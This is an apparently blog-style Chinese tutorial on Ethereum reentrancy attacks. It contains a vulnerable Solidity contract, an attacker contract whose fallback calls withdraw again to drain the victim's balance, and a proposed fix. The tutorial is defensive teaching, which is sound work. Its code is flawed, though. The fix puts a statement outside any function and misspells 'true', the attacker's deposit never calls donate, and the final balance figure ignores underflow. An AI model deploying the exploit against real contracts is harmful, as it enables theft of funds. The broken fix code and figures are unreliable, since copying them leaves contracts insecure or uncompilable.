以太坊智能合约到现在,出现了不少由于合约代码不严谨,导致黑客利用合约代码漏洞进行攻击来获取暴利。接下来我为大家来介绍一下常见的合约漏洞类型,包含重入攻击,短地址攻击,数据溢出攻击,可预测随机数攻击,篡改实践攻击等。下面大家介绍一下可重入攻击。
可重入攻击也就是攻击方发送一笔交易,导致合约一致重复执行直到将合约账户的资源消耗完。这有点类似于C语言的递归函数。攻击方能成功进行可重入攻击,主要依赖于Soildity为智能合约提供的fallback和call函数,下面先对这两个函数的功能进行介绍。
以太坊的智能合约,可以声明一个匿名函数(unnamed function),叫做 Fallback 函数,这个函数不带任何参数,也没有返回值。当向这个合约发送消息时,如果没有找到匹配的函数就会调用 fallback 函数。比如向合约转账,但要合约接收 Ether,那么 fallback 函数必须声明为 payable,否则试图向此合约转 ETH 将失败。如下:
function() payable public { // payable 关键字,表明调用此函数,可向合约转 Ether。
}
向合约发送 send、transfer、call 消息时候都会调用 fallback 函数,不同的是 send 和 transfer 有 2300 gas 的限制,也就是传递给 fallback 的只有 2300 gas,这个 gas 只能用于记录日志,因为其他操作都将超过 2300 gas。但 call 则会把剩余的所有 gas 都给 fallback 函数,这有可能导致循环调用。
call 可导致可重入攻击,当向合约转账的时候,会调用 fallback 函数,带有漏洞的合约代码如下:
contract Reentrance {
mapping(address => uint) public balances;
// 充值
function donate(address _to) public payable {
balances[_to] += msg.value;
}
// 查看余额
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
// 提现
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) { //造成可重入攻击的代码
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
上述合约代码中的withdraw函数的msg.sender.call.value可能成为恶意代码攻击的地方。如果发起交易方也是智能合约账户,当攻击方的合约账户通过调用Reentrance合约的withdraw函数进行提现的时候,由于调用call函数,将会调用攻击方合约的fallback函数,如果fallback代码再次调用Reentrance合约的withdraw函数就会形成代码可重入,将Reentrance合约账户的金额全部提走而在区块的记录仅仅提现了第一笔,攻击方的合约代码如下:
contract ReentranceAttack{
Reentrance entrance;
function ReentranceAttack(address _target) public payable {
entrance = Reentrance(_target);
}
function deposit() public payable{
entrance.donate.value(msg.value);
}
function attack() public{
entrance.withdraw(0.5 ether);
entrance.withdraw(0.5 ether);
}
function() public payable{
//攻击方将会递归进行提币操作
entrance.withdraw(0.5 ether);
}
function withdraw() public {
msg.sender.transfer(this.balance);
}
}
攻击的大概过程如下:
比如ReentranceAttack在Reentrance上有10个以太币,而Reentrance合约账户本身持有100个以太币。如果ReentranceAttack向Reentrance发起1个以太坊提币的请求。经过攻击,ReentranceAttack会提走Reentrance的100个以太币,并且在Reentrance合约中ReentranceAttack账户持有以太币的余额为9,疯狂吧!
那么怎么才能规避可重入攻击的风险呢?
1.提现操作前加入bool类型的锁
2.在转账前对金额进行算术处理
3.转账采用send()或者transfer()来进行转账操作(请注意send和transfer的区别)
修改后的智能合约代码如下:
contract Reentrance {
mapping(address => uint) public balances;
mapping(address => bool) public allow;
// 充值
function donate(address _to) public payable {
balances[_to] += msg.value;
}
// 查看余额
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
// 提现
allow[msg.sender] = false;
function withdraw(uint _amount) public {
require(!allow[msg.sender]);
require(balances[msg.sender] >= _amount);
allow[msg.sender] = ture;
if(msg.sender.send(_amount)) {
balances[msg.sender] -= _amount;
}
allow[msg.sender] = false;
}
function() public payable {}
}
以上是对智能合约可重入攻击的简单分析,有不正确的地方希望大家能够留言指出,万分感谢!!!